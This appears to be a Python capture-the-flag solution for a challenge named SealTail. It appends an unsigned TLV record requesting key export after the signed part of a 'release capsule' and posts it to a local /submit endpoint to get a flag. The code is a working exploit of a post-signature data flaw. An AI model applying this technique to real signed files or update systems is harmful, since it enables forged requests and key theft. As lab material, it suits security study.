81 lines
2.1 KiB
Python
81 lines
2.1 KiB
Python
#!/usr/bin/env python3
|
|
import argparse
|
|
import json
|
|
import pathlib
|
|
import re
|
|
import urllib.request
|
|
|
|
|
|
ACTION_EXPORT_KEY = 0x42
|
|
|
|
|
|
def encode_tlv(tag: int, value: bytes) -> bytes:
|
|
return bytes([tag]) + len(value).to_bytes(2, "big") + value
|
|
|
|
|
|
def build_modified_capsule(input_path: pathlib.Path, output_path: pathlib.Path) -> bytes:
|
|
capsule = input_path.read_bytes()
|
|
tail = encode_tlv(
|
|
ACTION_EXPORT_KEY,
|
|
b"lane=quarantine\nrequestor=release-audit\nreason=post-signature-tail-check\n",
|
|
)
|
|
modified = capsule + tail
|
|
output_path.write_bytes(modified)
|
|
return modified
|
|
|
|
|
|
def submit(url: str, capsule: bytes) -> dict:
|
|
request = urllib.request.Request(
|
|
url,
|
|
data=capsule,
|
|
headers={"Content-Type": "application/octet-stream"},
|
|
method="POST",
|
|
)
|
|
with urllib.request.urlopen(request, timeout=5) as response:
|
|
return json.loads(response.read().decode())
|
|
|
|
|
|
def main() -> int:
|
|
parser = argparse.ArgumentParser()
|
|
parser.add_argument(
|
|
"--capsule",
|
|
default="../public/release.capsule",
|
|
help="path to the original release capsule",
|
|
)
|
|
parser.add_argument(
|
|
"--out",
|
|
default="modified.capsule",
|
|
help="where to write the modified capsule",
|
|
)
|
|
parser.add_argument(
|
|
"--url",
|
|
default="http://127.0.0.1:31337/submit",
|
|
help="SealTail /submit endpoint",
|
|
)
|
|
parser.add_argument(
|
|
"--no-submit",
|
|
action="store_true",
|
|
help="only write the modified capsule",
|
|
)
|
|
args = parser.parse_args()
|
|
|
|
capsule_path = pathlib.Path(args.capsule)
|
|
output_path = pathlib.Path(args.out)
|
|
modified = build_modified_capsule(capsule_path, output_path)
|
|
print(f"wrote {output_path} ({len(modified)} bytes)")
|
|
|
|
if args.no_submit:
|
|
return 0
|
|
|
|
result = submit(args.url, modified)
|
|
print(json.dumps(result, indent=2, sort_keys=True))
|
|
flag = result.get("flag")
|
|
if not isinstance(flag, str) or not re.fullmatch(r"caplag\{[^{}]+\}", flag):
|
|
raise SystemExit("flag was not returned")
|
|
print(flag)
|
|
return 0
|
|
|
|
|
|
if __name__ == "__main__":
|
|
raise SystemExit(main())
|